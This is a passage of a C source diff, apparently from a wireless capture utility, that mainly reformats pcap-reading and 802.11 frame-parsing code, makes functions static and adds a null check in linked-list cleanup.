+				   .caplen); // Make sure it is re-swapped CORRECTLY -> OK
 
 	result = fwrite(&(packet->header), 1, PACKET_HEADER_SIZE, file);
 	if (result != PACKET_HEADER_SIZE)
@@ -130,7 +132,7 @@
 
 	// Write packet
 	result = fwrite(packet->packet, 1, caplen, file);
-	if (result != (int)caplen)
+	if (result != (int) caplen)
 	{
 		perror("fwrite(packet) failed");
 		return false;
@@ -139,89 +141,91 @@
 	return true;
 }
 
-
-FILE * init_new_pcap(const char * filename)
+static FILE * init_new_pcap(const char * filename)
 {
 	FILE * f;
 
 	f = openfile(filename, "wb", 1);
 
-	if (f != NULL) {
-		if( fwrite( &_pfh_out, 1, sizeof( _pfh_out ), f ) !=
-					(size_t) sizeof( _pfh_out ) )
+	if (f != NULL)
+	{
+		if (fwrite(&_pfh_out, 1, sizeof(_pfh_out), f)
+			!= (size_t) sizeof(_pfh_out))
 		{
-			perror( "fwrite(pcap file header) failed" );
+			perror("fwrite(pcap file header) failed");
 		}
 	}
 
-
 	return f;
 }
 
-FILE * open_existing_pcap(const char * filename) {
+static FILE * open_existing_pcap(const char * filename)
+{
 	FILE * f;
 	size_t temp_sizet;
 
 	f = fopen(filename, "rb");
 
-    if( f == NULL )
-    {
-        perror( "Unable to open pcap" );
-        return NULL;
-    }
-
-    temp_sizet = (size_t) sizeof( _pfh_in );
-
-    if( fread( &_pfh_in, 1, temp_sizet, f ) !=  temp_sizet )
-    {
-        perror( "fread(pcap file header) failed" );
-        fclose(f);
-        return NULL;
-    }
-
-    if( _pfh_in.magic != TCPDUMP_MAGIC &&
-        _pfh_in.magic != TCPDUMP_CIGAM )
-    {
-        printf( "\"%s\" isn't a pcap file (expected "
-                "TCPDUMP_MAGIC).\n", filename );
-        fclose(f);
-        return NULL;
-    }
-    _pfh_out = _pfh_in;
-
-    if( _pfh_in.magic == TCPDUMP_CIGAM )
-    	SWAP32( _pfh_in.linktype );
-
-    if( _pfh_in.linktype != LINKTYPE_IEEE802_11 &&
-        _pfh_in.linktype != LINKTYPE_PRISM_HEADER &&
-        _pfh_in.linktype != LINKTYPE_RADIOTAP_HDR &&
-        _pfh_in.linktype != LINKTYPE_PPI_HDR )
-    {
-        printf( "\"%s\" isn't a regular 802.11 "
-                "(wireless) capture.\n", filename );
-        fclose(f);
-        return NULL;
-    }
-    else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-    {
+	if (f == NULL)
+	{
+		perror("Unable to open pcap");
+		return NULL;
+	}
+
+	temp_sizet = (size_t) sizeof(_pfh_in);
+
+	if (fread(&_pfh_in, 1, temp_sizet, f) != temp_sizet)
+	{
+		perror("fread(pcap file header) failed");
+		fclose(f);
+		return NULL;
+	}
+
+	if (_pfh_in.magic != TCPDUMP_MAGIC && _pfh_in.magic != TCPDUMP_CIGAM)
+	{
+		printf("\"%s\" isn't a pcap file (expected "
+			   "TCPDUMP_MAGIC).\n",
+			   filename);
+		fclose(f);
+		return NULL;
+	}
+	_pfh_out = _pfh_in;
+
+	if (_pfh_in.magic == TCPDUMP_CIGAM) SWAP32(_pfh_in.linktype);
+
+	if (_pfh_in.linktype != LINKTYPE_IEEE802_11
+		&& _pfh_in.linktype != LINKTYPE_PRISM_HEADER
+		&& _pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+		&& _pfh_in.linktype != LINKTYPE_PPI_HDR)
+	{
+		printf("\"%s\" isn't a regular 802.11 "
+			   "(wireless) capture.\n",
+			   filename);
+		fclose(f);
+		return NULL;
+	}
+	else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+	{
 		printf("Radiotap header found. Parsing Radiotap is experimental.\n");
 	}
-    else if (_pfh_in.linktype == LINKTYPE_PPI_HDR)
-    {
+	else if (_pfh_in.linktype == LINKTYPE_PPI_HDR)
+	{
 		printf("PPI not yet supported\n");
 		fclose(f);
-        return NULL;
+		return NULL;
 	}
 
-
-    //_pcap_linktype = _pfh_in.linktype;
+	//_pcap_linktype = _pfh_in.linktype;
 
 	return f;
 }
 
-BOOLEAN initialize_linked_list() {
-	_packet_elt_head = (struct packet_elt_header *)malloc(sizeof(struct packet_elt_header));
-	_packet_elt_head->first = (	struct packet_elt *) malloc(sizeof(struct packet_elt));
+static BOOLEAN initialize_linked_list()
+{
+	_packet_elt_head
+		= (struct packet_elt_header *) malloc(sizeof(struct packet_elt_header));
+	_packet_elt_head->first
+		= (struct packet_elt *) malloc(sizeof(struct packet_elt));
 	_packet_elt_head->last = _packet_elt_head->first;
 	_packet_elt_head->current = _packet_elt_head->first;
 	_packet_elt_head->current->complete = 0;
@@ -231,99 +235,62 @@
 	return true;
 }
 
-BOOLEAN add_node_if_not_complete() {
-	if (_packet_elt_head->current->complete == 1) {
+static BOOLEAN add_node_if_not_complete()
+{
+	if (_packet_elt_head->current->complete == 1)
+	{
 		// Allocate new packet
-		_packet_elt_head->current->next = (struct packet_elt *) malloc(sizeof(struct packet_elt));
+		_packet_elt_head->current->next
+			= (struct packet_elt *) malloc(sizeof(struct packet_elt));
 		_packet_elt_head->current->next->prev = _packet_elt_head->current;
 		_packet_elt_head->current = _packet_elt_head->current->next;
 
 		_packet_elt_head->current->complete = 0;
-		_packet_elt_head->nb_packets +=1;
+		_packet_elt_head->nb_packets += 1;
 
 		// Last will be set at the end of the while when everything went ok
-	} // No free of the *packet pointer because it is only set when everything is ok => if a packet is not ok, it will never have *packet malloced
-	// Alway reset is_cloaked field and dropped field
-	_packet_elt_head->current->is_cloaked = UKNOWN_FRAME_CLOAKING_STATUS; // Unknown state of this packet
+	} // No free of the *packet pointer because it is only set when everything
+	// is ok => if a packet is not ok, it will never have *packet malloced
+	// Always reset is_cloaked field and dropped field
+	_packet_elt_head->current->is_cloaked
+		= UKNOWN_FRAME_CLOAKING_STATUS; // Unknown state of this packet
 	_packet_elt_head->current->is_dropped = 0;
 	return true;
 }
 
-void set_node_complete() {
+static void set_node_complete(void)
+{
 	_packet_elt_head->current->complete = 1;
 	_packet_elt_head->last = _packet_elt_head->current;
 }
 
-void remove_last_uncomplete_node() {
+static void remove_last_uncomplete_node(void)
+{
 	struct packet_elt * packet;
-	if (_packet_elt_head->current->complete == 0) {
+	if (_packet_elt_head->current->complete == 0)
+	{
 		packet = _packet_elt_head->current;
-		_packet_elt_head->nb_packets -=1;
-		_packet_elt_head->current->prev->next = NULL;
-		free(packet);
-	}
-}
-
-// Requirement: initialize_linked_list() called
-struct packet_elt * getPacketNr(int position) {
-	struct packet_elt * packet = _packet_elt_head->first;
-	int i = 0;
-	while (i < position) {
-		if (packet->next == NULL) {
-			return NULL;
+		_packet_elt_head->nb_packets -= 1;
+		if (_packet_elt_head->current->prev)
+		{
+			_packet_elt_head->current->prev->next = NULL;
 		}
-		packet = packet->next;
+		free(packet);
 	}
-	return packet;
-}
-
-char * iv2string(unsigned char * iv) {
-	char * string = (char *)malloc(9);
-	snprintf(string, 9, "%02X %02X %02X", iv[0], iv[1], iv[2]);
-	return string;
-}
-
-char * icv2string(unsigned char * icv) {
-	char * string = (char *)malloc(12);
-	snprintf(string, 12, "%02X %02X %02X %02X", icv[0], icv[1], icv[2], icv[3]);
-	return string;
-}
-
-void print_packet(struct packet_elt * packet) {
-	char * temp;
-	printf("Packet length: %d\n", packet->length);
-	printf("Frame type: %d (subtype: %d) - First byte: %d\n", packet->frame_type, packet->frame_subtype, packet->version_type_subtype);
-	temp = mac2string(packet->bssid);
-	printf("BSSID: %s\n",temp);
-	free(temp);
-	temp = mac2string(packet->source);
-	printf("Source: %s\n",temp);
-	free(temp);
-	temp = mac2string(packet->destination);
-	printf("Destination: %s\n",temp);
-	free(temp);
-	printf("Sequence number: %d (Fragment #: %d)\n", packet->sequence_number, packet->fragment_number);
-	temp = iv2string(packet->iv);
-	printf("IV: %s (Key index: %d)\n", temp, packet->key_index);
-	free(temp);
-	temp = icv2string(packet->icv);
-	printf("ICV: %s\n", temp);
-	free(temp);
-
-	printf("Signal: %d - Retry bit: %d - is cloaked: %d\n", packet->signal_quality, packet->retry_bit, packet->is_cloaked);
 }
 
-int get_rtap_signal(int caplen)
+static int get_rtap_signal(int caplen)
 {
 	struct ieee80211_radiotap_iterator iterator;
-	struct ieee80211_radiotap_header *rthdr;
+	struct ieee80211_radiotap_header * rthdr;
 
-	rthdr = (struct ieee80211_radiotap_header *)buffer;
+	rthdr = (struct ieee80211_radiotap_header *) buffer;
 
 	if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0)
-	return 0;
+		return 0;
 
-	while (ieee80211_radiotap_iterator_next(&iterator) >= 0) {
+	while (ieee80211_radiotap_iterator_next(&iterator) >= 0)
+	{
 		if (iterator.this_arg_index == IEEE80211_RADIOTAP_DBM_ANTSIGNAL)
 			return *iterator.this_arg;
 		if (iterator.this_arg_index == IEEE80211_RADIOTAP_DB_ANTSIGNAL)
@@ -335,30 +302,30 @@
 }
 
 // !!!! WDS not yet implemented
-BOOLEAN read_packets(void)
+static BOOLEAN read_packets(void)
 {
 	int i, start;
-    time_t tt;
-    unsigned char * h80211;
+	time_t tt;
+	unsigned char * h80211;
 	size_t bytes_read;
 
-	i=0;
+	i = 0;
 
-	memset( &stats, 0, sizeof( stats ) );
-	tt = time( NULL );
+	memset(&stats, 0, sizeof(stats));
+	tt = time(NULL);
 
-	switch(_pfh_in.linktype)
+	switch (_pfh_in.linktype)
 	{
 		case LINKTYPE_PRISM_HEADER:
 			start = 144; // based on madwifi-ng
 			break;
 		case LINKTYPE_RADIOTAP_HDR:
-			start = (int)(buffer[2]); // variable length!
+			start = (int) (buffer[2]); // variable length!
 			break;
 		case LINKTYPE_IEEE802_11:
-			// 0
+		// 0
 		case LINKTYPE_PPI_HDR:
-			// ?
+		// ?
 		default:
 			start = 0;
 			break;
@@ -366,10 +333,13 @@
 
 	// Show link type
 	printf("Link type (Prism: %d - Radiotap: %d - 80211: %d - PPI - %d): ",
-			LINKTYPE_PRISM_HEADER, LINKTYPE_RADIOTAP_HDR,
-			LINKTYPE_IEEE802_11, LINKTYPE_PPI_HDR);
+		   LINKTYPE_PRISM_HEADER,
+		   LINKTYPE_RADIOTAP_HDR,
+		   LINKTYPE_IEEE802_11,
+		   LINKTYPE_PPI_HDR);
 
-	switch (_pfh_in.linktype) {
+	switch (_pfh_in.linktype)
+	{
 		case LINKTYPE_PRISM_HEADER:
 			puts("Prism");
 			break;
@@ -383,341 +353,417 @@
 			puts("PPI");
 			break;
 		default:
-			printf("Unknown (%d)\n", _pfh_in.linktype);
+			printf("Unknown (%lu)\n", (unsigned long) _pfh_in.linktype);
 			break;
 	}
 
 	// Initialize double linked list.
 	initialize_linked_list();
 
-    while( 1 )
-    {
-        if( time( NULL ) - tt > 0 )
-        {
-            // update the status line every second
-
-            printf( "\33[KRead %ld packets...\r", stats.nb_read );
-            fflush( stdout );
-            tt = time( NULL );
-        }
+	while (1)
+	{
+		if (time(NULL) - tt > 0)
+		{
+			// update the status line every second
 
+			erase_line(0);
+			printf("Read %lu packets...\r", stats.nb_read);
+			fflush(stdout);
+			tt = time(NULL);
+		}
 
-        /* read one packet */
+		/* read one packet */
 
-        // Only malloc if complete
+		// Only malloc if complete
 		add_node_if_not_complete();
 
-		//puts("Reading packet header");
-		bytes_read = fread( &( _packet_elt_head->current->header ), 1, PACKET_HEADER_SIZE, _input_file );
-        if( bytes_read != (size_t) PACKET_HEADER_SIZE )
-        {
-			if (bytes_read != 0) {
+		// puts("Reading packet header");
+		bytes_read = fread(&(_packet_elt_head->current->header),
+						   1,
+						   PACKET_HEADER_SIZE,
+						   _input_file);
+		if (bytes_read != (size_t) PACKET_HEADER_SIZE)
+		{
+			if (bytes_read != 0)
+			{
 				printf("Failed to read packet header.\n");
 			}
-			else {
+			else
+			{
 				// Normal, reached EOF.
-				//printf("Reached EOF.\n");
+				// printf("Reached EOF.\n");
 			}
-            break;
+			break;
 		}
 
-        if( _pfh_in.magic == TCPDUMP_CIGAM )
-            SWAP32( _packet_elt_head->current->header.caplen );
+		if (_pfh_in.magic == TCPDUMP_CIGAM)
+			SWAP32(_packet_elt_head->current->header.caplen);
 
+		if (_packet_elt_head->current->header.caplen <= 0
+			|| _packet_elt_head->current->header.caplen > 65535)
+		{
+			printf("Corrupted file? Invalid packet length %lu.\n",
+				   (unsigned long) _packet_elt_head->current->header.caplen);
+			break;
+		}
 
-        if( _packet_elt_head->current->header.caplen <= 0 || _packet_elt_head->current->header.caplen > 65535 )
-        {
-            printf( "Corrupted file? Invalid packet length %d.\n", _packet_elt_head->current->header.caplen );
-            break;
-        }
-
-        // Reset buffer
+		// Reset buffer
 		memset(buffer, 0, 65536);
 
 		// Read packet from file
-		bytes_read = fread( buffer, 1, _packet_elt_head->current->header.caplen, _input_file );
+		bytes_read = fread(
+			buffer, 1, _packet_elt_head->current->header.caplen, _input_file);
 
+		if (bytes_read != (size_t) _packet_elt_head->current->header.caplen)
+		{
+			printf("Error reading the file: read %lu bytes out of %lu.\n",
+				   (unsigned long) bytes_read,
+				   (unsigned long) _packet_elt_head->current->header.caplen);
 
-        if( bytes_read != (size_t) _packet_elt_head->current->header.caplen )
-        {
-			printf("Error reading the file: read %lu bytes out of %d.\n",
-						(unsigned long) bytes_read,
-						_packet_elt_head->current->header.caplen);
-
-            break;
+			break;
 		}
 
-        stats.nb_read++;
+		stats.nb_read++;
 
 		// Put all stuff in the packet header and
 
-		// ---------------------------- Don't remove anything ----------------------
-		// ---------------------------- Just know where the packet start -----------
+		// ---------------------------- Don't remove anything
+		// ----------------------
+		// ---------------------------- Just know where the packet start
+		// -----------
 
-        h80211 = buffer + start;
+		h80211 = buffer + start;
 
 		// Know the kind of packet
 		_packet_elt_head->current->frame_type = getBits(*h80211, 2, 2);
 
-		#ifdef DEBUG
+#ifdef DEBUG
 		printf("Frame type: %d\n", _packet_elt_head->current->frame_type);
-		#endif
+#endif
 
 		_packet_elt_head->current->version_type_subtype = *h80211;
 
-		#ifdef DEBUG
-		printf("First byte: %x\n",*h80211);
-		#endif
+#ifdef DEBUG
+		printf("First byte: %x\n", *h80211);
+#endif
 
 		// Filter out unknown packet types and control frames
-		if (_packet_elt_head->current->frame_type != FRAME_TYPE_DATA &&
-			_packet_elt_head->current->frame_type != FRAME_TYPE_MANAGEMENT) {
+		if (_packet_elt_head->current->frame_type != FRAME_TYPE_DATA
+			&& _packet_elt_head->current->frame_type != FRAME_TYPE_MANAGEMENT)
+		{
 			// Don't care about the frame if it's a control or unknown frame).
-			if (_packet_elt_head->current->frame_type != FRAME_TYPE_CONTROL) {
+			if (_packet_elt_head->current->frame_type != FRAME_TYPE_CONTROL)
+			{
 				// Unknown frame type, log it
-				//printf("Unknown frame type: %d\n", packet->frame_type);
-				// ------------- May be interesting to put all those packets in a separate file
+				// printf("Unknown frame type: %d\n", packet->frame_type);
+				// ------------- May be interesting to put all those packets in
+				// a separate file
 			}
 			continue;
-
 		}
 
-		if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT) {
-			// Assumption: Management packets are not cloaked (may change in the future)
+		if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT)
+		{
+			// Assumption: Management packets are not cloaked (may change in the
+			// future)
 			_packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED;
-		} else if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA){
-			_packet_elt_head->current->is_cloaked = UKNOWN_FRAME_CLOAKING_STATUS;
+		}
+		else if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
+		{
+			_packet_elt_head->current->is_cloaked
+				= UKNOWN_FRAME_CLOAKING_STATUS;
 		}
 
 		// Retry bit
-		_packet_elt_head->current->retry_bit = getBit(*(h80211+1), 3);
+		_packet_elt_head->current->retry_bit = getBit(*(h80211 + 1), 3);
 
 		// More fragments bit
-		_packet_elt_head->current->more_fragments_bit = getBit(*(h80211+1), 2);
-		if (_packet_elt_head->current->more_fragments_bit && _options_drop_fragments) {
+		_packet_elt_head->current->more_fragments_bit
+			= getBit(*(h80211 + 1), 2);
+		if (_packet_elt_head->current->more_fragments_bit
+			&& _options_drop_fragments)
+		{
 			_packet_elt_head->current->is_dropped = 1;
 		}
 
-		// TODO: Get the speed from the packet if radiotap/prism header exist.
+// TODO: Get the speed from the packet if radiotap/prism header exist.
 
-		// TODO: Get also the channel from the headers (the sensor may inject
-		//       cloaked frames on a channel is not the same as the AP)
+// TODO: Get also the channel from the headers (the sensor may inject
+//       cloaked frames on a channel is not the same as the AP)
 
-
-		#ifdef DEBUG
-			printf("Retry bit: %d\n", _packet_elt_head->current->retry_bit);
-			printf("More fragments bit: %d\n", _packet_elt_head->current->more_fragments_bit);
-		#endif
-        /*------------------------------- drop if control frame (does not contains SN) ----------------------*/
+#ifdef DEBUG
+		printf("Retry bit: %d\n", _packet_elt_head->current->retry_bit);
+		printf("More fragments bit: %d\n",
+			   _packet_elt_head->current->more_fragments_bit);
+#endif
+		/*------------------------------- drop if control frame (does not
+		 * contains SN) ----------------------*/
 		// TODO: We should care about control frames since they are not cloaked
-		//       and they can be usefull for signal filtering (have a better average).
+		//       and they can be useful for signal filtering (have a better
+		//       average).
 
-        /* check the BSSID */
-        switch( h80211[1] & 3 )
+		/* check the BSSID */
+		switch (h80211[1] & 3)
 		{
-			case  0:    // To DS = 0, From DS = 0: DA, SA, BSSID (Ad Hoc)
-				memcpy( _packet_elt_head->current->destination, h80211 + 4, 6 );
-				memcpy( _packet_elt_head->current->source, h80211 + 10, 6 );
-				memcpy( _packet_elt_head->current->bssid, h80211 + 16, 6 );
+			case 0: // To DS = 0, From DS = 0: DA, SA, BSSID (Ad Hoc)
+				memcpy(_packet_elt_head->current->destination, h80211 + 4, 6);
+				memcpy(_packet_elt_head->current->source, h80211 + 10, 6);
+				memcpy(_packet_elt_head->current->bssid, h80211 + 16, 6);
 
 				_packet_elt_head->current->fromDS = 0;
 				_packet_elt_head->current->toDS = 0;
 				break;
 
-			case  1:    // To DS = 1, From DS = 0: BSSID, SA, DA (To DS)
-				memcpy( _packet_elt_head->current->bssid, h80211 +  4, 6 );
-				memcpy( _packet_elt_head->current->source, h80211 +  10, 6 );
-				memcpy( _packet_elt_head->current->destination, h80211 +  16, 6 );
+			case 1: // To DS = 1, From DS = 0: BSSID, SA, DA (To DS)
+				memcpy(_packet_elt_head->current->bssid, h80211 + 4, 6);
+				memcpy(_packet_elt_head->current->source, h80211 + 10, 6);
+				memcpy(_packet_elt_head->current->destination, h80211 + 16, 6);
 
 				_packet_elt_head->current->fromDS = 0;
 				_packet_elt_head->current->toDS = 1;
 				break;
 
-			case  2:    // To DS = 0, From DS = 1: DA, BSSID, SA (From DS)
-				memcpy( _packet_elt_head->current->destination, h80211 + 4, 6 );
-				memcpy( _packet_elt_head->current->bssid, h80211 + 10, 6 );
-				memcpy( _packet_elt_head->current->source, h80211 + 16, 6 );
+			case 2: // To DS = 0, From DS = 1: DA, BSSID, SA (From DS)
+				memcpy(_packet_elt_head->current->destination, h80211 + 4, 6);
+				memcpy(_packet_elt_head->current->bssid, h80211 + 10, 6);
+				memcpy(_packet_elt_head->current->source, h80211 + 16, 6);
 
 				_packet_elt_head->current->fromDS = 1;
 				_packet_elt_head->current->toDS = 0;
 				break;
 
-			case  3:    // To DS = 1, From DS = 1: RA, TA, DA, SA (WDS)
-				memcpy( _packet_elt_head->current->source, h80211 + 24, 6 );
-				memcpy( _packet_elt_head->current->bssid, h80211 + 10, 6 );
-				memcpy( _packet_elt_head->current->destination, h80211 + 16, 6 );
+			case 3: // To DS = 1, From DS = 1: RA, TA, DA, SA (WDS)
+				memcpy(_packet_elt_head->current->source, h80211 + 24, 6);
+				memcpy(_packet_elt_head->current->bssid, h80211 + 10, 6);
+				memcpy(_packet_elt_head->current->destination, h80211 + 16, 6);
 
 				_packet_elt_head->current->fromDS = 1;
 				_packet_elt_head->current->toDS = 1;
 				break;
-        }
-
-		#ifdef DEBUG
-        printf("From DS: %d - ToDS: %d\n", _packet_elt_head->current->fromDS, _packet_elt_head->current->toDS);
-        printf("BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->bssid[0],
-				_packet_elt_head->current->bssid[1], _packet_elt_head->current->bssid[2],
-				_packet_elt_head->current->bssid[3], _packet_elt_head->current->bssid[4],
-				_packet_elt_head->current->bssid[5]);
-        printf("Source: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->source[0],
-				_packet_elt_head->current->source[1], _packet_elt_head->current->source[2], _packet_elt_head->current->source[3],
-				_packet_elt_head->current->source[4], _packet_elt_head->current->source[5]);
-        printf("Dest: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->destination[0],
-				_packet_elt_head->current->destination[1], _packet_elt_head->current->destination[2], _packet_elt_head->current->destination[3],
-				_packet_elt_head->current->destination[4], _packet_elt_head->current->destination[5]);
-		#endif
+		}
+
+#ifdef DEBUG
+		printf("From DS: %d - ToDS: %d\n",
+			   _packet_elt_head->current->fromDS,
+			   _packet_elt_head->current->toDS);
+		printf("BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   _packet_elt_head->current->bssid[0],
+			   _packet_elt_head->current->bssid[1],
+			   _packet_elt_head->current->bssid[2],
+			   _packet_elt_head->current->bssid[3],
+			   _packet_elt_head->current->bssid[4],
+			   _packet_elt_head->current->bssid[5]);
+		printf("Source: %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   _packet_elt_head->current->source[0],
+			   _packet_elt_head->current->source[1],
+			   _packet_elt_head->current->source[2],
+			   _packet_elt_head->current->source[3],
+			   _packet_elt_head->current->source[4],
+			   _packet_elt_head->current->source[5]);
+		printf("Dest: %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   _packet_elt_head->current->destination[0],
+			   _packet_elt_head->current->destination[1],
+			   _packet_elt_head->current->destination[2],
+			   _packet_elt_head->current->destination[3],
+			   _packet_elt_head->current->destination[4],
+			   _packet_elt_head->current->destination[5]);
+#endif
 
 		// Filter out packets not belonging to our BSSID
-		if (  memcmp( _packet_elt_head->current->bssid, _bssid, 6)) {
+		if (memcmp(_packet_elt_head->current->bssid, _bssid, 6))
+		{
 			// Not the BSSID we are looking for
-			//printf("It's not the BSSID we are looking for.\n");
+			// printf("It's not the BSSID we are looking for.\n");
 			continue;
 		}
 
 		// Grab sequence number and fragment number
-		_packet_elt_head->current->sequence_number = ((h80211[22]>>4)+(h80211[23]<<4)); // 12 bits
-		_packet_elt_head->current->fragment_number = getBits(h80211[23], 4,4); // 4 bits
+		_packet_elt_head->current->sequence_number
+			= ((h80211[22] >> 4) + (h80211[23] << 4)); // 12 bits
+		_packet_elt_head->current->fragment_number
+			= getBits(h80211[23], 4, 4); // 4 bits
 
 		// drop frag option
 		if (_options_drop_fragments
-			&& _packet_elt_head->current->fragment_number) {
+			&& _packet_elt_head->current->fragment_number)
+		{
 			_packet_elt_head->current->is_dropped = 1;
 		}
 
-		#ifdef DEBUG
+#ifdef DEBUG
 		printf("Sequence: %d - Fragment: %d\n",
-				_packet_elt_head->current->sequence_number,
-				_packet_elt_head->current->fragment_number);
-		#endif
+			   _packet_elt_head->current->sequence_number,
+			   _packet_elt_head->current->fragment_number);
+#endif
 		// Get the first beacon and search for WEP only
 		// if not (data) wep, stop completely processing (_is_wep)
 		if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT)
 		{
 			// Get encryption from beacon/probe response
-			if( h80211[0] == BEACON_FRAME || h80211[0] == PROBE_RESPONSE )
+			if (h80211[0] == BEACON_FRAME || h80211[0] == PROBE_RESPONSE)
 			{
-				if( ( h80211[34] & 0x10 ) >> 4 ) {
+				if ((h80211[34] & 0x10) >> 4)
+				{
 					_is_wep = 1;
 					// Make sure it's not WPA
 
 					// TODO: See airodump-ng around line 1500
 				}
-				else {
+				else
+				{
 					// Completely stop processing
-					printf("FATAL ERROR: The network is not WEP (byte 34: %d)\n.", h80211[34]);
+					printf(
+						"FATAL ERROR: The network is not WEP (byte 34: %d)\n.",
+						h80211[34]);
 					exit(1);
 				}
 			}
 		}
 
-		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) {
+		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
+		{
 			// Copy IV
 			memcpy(_packet_elt_head->current->iv, (h80211 + 24), 3);
 
-			#ifdef DEBUG
-			printf("IV: %X %X %X\n", _packet_elt_head->current->iv[0], _packet_elt_head->current->iv[1], _packet_elt_head->current->iv[2]);
-			#endif
+#ifdef DEBUG
+			printf("IV: %X %X %X\n",
+				   _packet_elt_head->current->iv[0],
+				   _packet_elt_head->current->iv[1],
+				   _packet_elt_head->current->iv[2]);
+#endif
 
 			// Copy key index
 			_packet_elt_head->current->key_index = h80211[27];
-			#ifdef DEBUG
+#ifdef DEBUG
 			printf("Key index: %d\n", _packet_elt_head->current->key_index);
-			#endif
+#endif
 			// Copy checksum
-			memcpy(_packet_elt_head->current->icv, buffer + (_packet_elt_head->current->header.caplen) - 4, 4);
-			#ifdef DEBUG
-			printf("ICV: %X %X %X %X\n", _packet_elt_head->current->icv[0], _packet_elt_head->current->icv[1], _packet_elt_head->current->icv[2], _packet_elt_head->current->icv[3]);
-			#endif
+			memcpy(_packet_elt_head->current->icv,
+				   buffer + (_packet_elt_head->current->header.caplen) - 4,
+				   4);
+#ifdef DEBUG
+			printf("ICV: %X %X %X %X\n",
+				   _packet_elt_head->current->icv[0],
+				   _packet_elt_head->current->icv[1],
+				   _packet_elt_head->current->icv[2],
+				   _packet_elt_head->current->icv[3]);
+#endif
 		}
-		else { // Management packet (control packets were filtered out.
-			_packet_elt_head->current->iv[0] = _packet_elt_head->current->iv[1] = _packet_elt_head->current->iv[2] = 0;
+		else
+		{ // Management packet (control packets were filtered out.
+			_packet_elt_head->current->iv[0] = _packet_elt_head->current->iv[1]
+				= _packet_elt_head->current->iv[2] = 0;
 			_packet_elt_head->current->key_index = 0;
-			_packet_elt_head->current->icv[0] = _packet_elt_head->current->icv[1] = _packet_elt_head->current->icv[2] = _packet_elt_head->current->icv[3] = 0;
-			#ifdef DEBUG
+			_packet_elt_head->current->icv[0]
+				= _packet_elt_head->current->icv[1]
+				= _packet_elt_head->current->icv[2]
+				= _packet_elt_head->current->icv[3] = 0;
+#ifdef DEBUG
 			printf("Not a data packet thus no IV, no key index, no ICV\n");
-			#endif
+#endif
 		}
 
 		// Copy the packet itself
-		_packet_elt_head->current->packet = (unsigned char *) malloc(_packet_elt_head->current->header.caplen);
-		memcpy(_packet_elt_head->current->packet, buffer, _packet_elt_head->current->header.caplen);
+		_packet_elt_head->current->packet = (unsigned char *) malloc(
+			_packet_elt_head->current->header.caplen);
+		memcpy(_packet_elt_head->current->packet,
+			   buffer,
+			   _packet_elt_head->current->header.caplen);
 
 		// Copy signal if exist
 		_packet_elt_head->current->signal_quality = -1;
-		if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER) {
+		if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+		{
 			// Hack: pos 0x44 (at least on madwifi-ng)
 			_packet_elt_head->current->signal_quality = buffer[0x44];
 		}
-		else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) {
-			_packet_elt_head->current->signal_quality = get_rtap_signal(
-				_packet_elt_head->current->header.caplen);
+		else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+		{
+			_packet_elt_head->current->signal_quality
+				= get_rtap_signal(_packet_elt_head->current->header.caplen);
 		}
-		#ifdef DEBUG
-		printf("Signal quality: %d\n", _packet_elt_head->current->signal_quality);
-		#endif
+#ifdef DEBUG
+		printf("Signal quality: %d\n",
+			   _packet_elt_head->current->signal_quality);
+#endif
 
-
-		// Append to the list
-		#ifdef ONLY_FIRST_PACKET
+// Append to the list
+#ifdef ONLY_FIRST_PACKET
 		puts("!!! Don't forget to append");
 
 		break;
-		#else
+#else
 		set_node_complete();
-		#endif
-    }
-    remove_last_uncomplete_node();
+#endif
+	}
+	remove_last_uncomplete_node();
 
-    printf("Nb packets: %d           \n", _packet_elt_head->nb_packets);
+	printf("Nb packets: %d           \n", _packet_elt_head->nb_packets);
 
-    return true;
+	return true;
 }
 
-void reset_current_packet_pointer() {
+static void reset_current_packet_pointer(void)
+{
 	_packet_elt_head->current = _packet_elt_head->first;
 }
 
-BOOLEAN reset_current_packet_pointer_to_ap_packet() {
+static BOOLEAN reset_current_packet_pointer_to_ap_packet(void)
+{
 	reset_current_packet_pointer();
 	return next_packet_pointer_from_ap();
 }
 
-BOOLEAN reset_current_packet_pointer_to_client_packet() {
+static BOOLEAN reset_current_packet_pointer_to_client_packet(void)
+{
 	reset_current_packet_pointer();
 	return next_packet_pointer_from_client();
 }
 
-BOOLEAN next_packet_pointer_from_ap() {
-	while (_packet_elt_head->current->toDS != 0) {
-		if (next_packet_pointer() == false) {
+static BOOLEAN next_packet_pointer_from_ap(void)
+{
+	while (_packet_elt_head->current->toDS != 0)
+	{
+		if (next_packet_pointer() == false)
+		{
 			return false;
 		}
 	}
-	if (_packet_elt_head->current->toDS == 0) {
+	if (_packet_elt_head->current->toDS == 0)
+	{
 		return true;
 	}
-	else {
+	else
+	{
 		return false;
 	}
 }
 
-BOOLEAN next_packet_pointer_from_client() {
-	while (_packet_elt_head->current->toDS == 0) {
-		if (next_packet_pointer() == false) {
+static BOOLEAN next_packet_pointer_from_client(void)
+{
+	while (_packet_elt_head->current->toDS == 0)
+	{
+		if (next_packet_pointer() == false)
+		{
 			return false;
 		}
 	}
-	if (_packet_elt_head->current->toDS == 1) {
+	if (_packet_elt_head->current->toDS == 1)
+	{
 		return true;
 	}
-	else {
+	else
+	{
 		return false;
 	}
 }
 
-BOOLEAN next_packet_pointer() {
